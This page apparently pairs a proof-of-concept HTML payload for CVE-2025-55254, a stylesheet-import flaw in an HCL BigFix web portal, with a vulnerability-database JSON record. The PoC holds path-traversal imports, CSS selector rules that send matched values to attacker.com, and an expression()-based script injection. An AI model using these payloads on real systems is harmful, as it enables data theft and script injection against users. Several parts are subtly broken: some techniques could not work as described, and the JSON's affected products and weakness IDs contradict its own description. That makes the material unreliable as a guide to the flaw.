CVE-2025-55254

<!-- CVE-2025-55254 PoC - Path-relative Stylesheet Import Injection --> <!-- Target: HCL BigFix Remote Control Lite Web Portal <= 10.1.0.0326 --> <!-- Method 1: CSS-based data exfiltration via path traversal --> <style> @import url('/webportal/../../../etc/passwd'); </style> <!-- Method 2: External malicious stylesheet injection --> <link rel="stylesheet" href="../external-attacker.com/malicious.css"> <!-- Method 3: Data theft via CSS selectors (IE/legacy browser) --> <style> input[value^="admin"] { background-image: url("https://attacker.com/log?data=admin"); } input[value^="token"] { background-image: url("https://attacker.com/log?data=token"); } </style> <!-- Method 4: JavaScript execution via CSS expression (IE only) --> <div style="width: expression(alert('XSS'));"></div> <!-- Attack scenario: Inject via URL parameter --> <!-- https://target.com/webportal/?stylesheet=../../../malicious.css -->

{"cve": {"id": "CVE-2025-55254", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:14.623", "lastModified": "2026-01-06T19:56:33.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper management of Path-relative stylesheet import in HCL BigFix Remote Control Lite Web Portal (versions 10.1.0.0326 and lower) may allow to execute malicious code in certain web pages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0.0", "versionEndExcluding": "8.0.1.11", "matchCriteriaId": "830962ED-955D-4083-8801-BB719BD01DDC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.4", "matchCriteriaId": "BDB41F3C-0562-47CC-856D-FD03AC2AB0D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_launch:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0.0", "versionEndExcluding": "7.3.2.16", "matchCriteriaId": "C4FD53DE-8743-4FE3-88D5-DA1E291DA397"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0127332", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}